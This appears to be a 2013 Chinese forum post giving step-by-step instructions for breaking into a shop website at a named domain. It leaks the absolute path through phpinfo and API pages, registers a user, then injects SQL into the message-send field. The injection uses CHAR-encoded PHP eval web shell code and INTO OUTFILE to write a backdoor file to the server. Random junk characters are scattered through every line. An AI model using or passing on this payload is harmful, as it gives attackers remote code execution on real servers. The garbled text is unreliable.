第一个：想办法找到目标网站的绝对路径
( o# j* i9 e. e4 {* S/ [( G- G* b. W2 x0 P
http://www.political-security.com/install/svinfo.php?phpinfo=true6 `0 K: R8 B' \ w9 P! |
! S! t: S( ^; c$ F7 ^http:/www.political-security.com/core/api/shop_api.php: {. i. E0 L7 d. A# c
" Z& D" t3 K5 Y- f$ }6 [' |/ d; ~http://www.political-security.co ... api_b2b_2_0_cat.php; m6 g; }0 c$ z' g3 V; N! R* k
3 \ B" [3 E% ~6 J$ e; t) c
http://www.political-security.com/core/ap ... b_2_0_goodstype.php& I5 I7 c3 i. v6 m0 d+ K7 C, H/ I
& [' k) v) E6 Q7 chttp://www.political-security.co ... i_b2b_2_0_brand.php5 s( z3 L( a# i; t! P
第二个：注册一个普通用户' |3 T' C/ p1 z: J# f3 @2 P
3 |( k- k, v* fhttp://www.political-security.com/?passport-signup.html0 `% S+ J A) ~/ j( m# m
- t9 y9 z* s. M$ d! s' q1 B
第三个： 发送消息
0 X% j& p9 P* z' F$ ?' L5 |7 b( d; d! g& w! T9 a! G
http://www.political-security.com/?member-send.html: v3 y |0 s1 m* ~! E; q& Y
发送给中填写
1 k4 K- ?" r% K) s Zantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对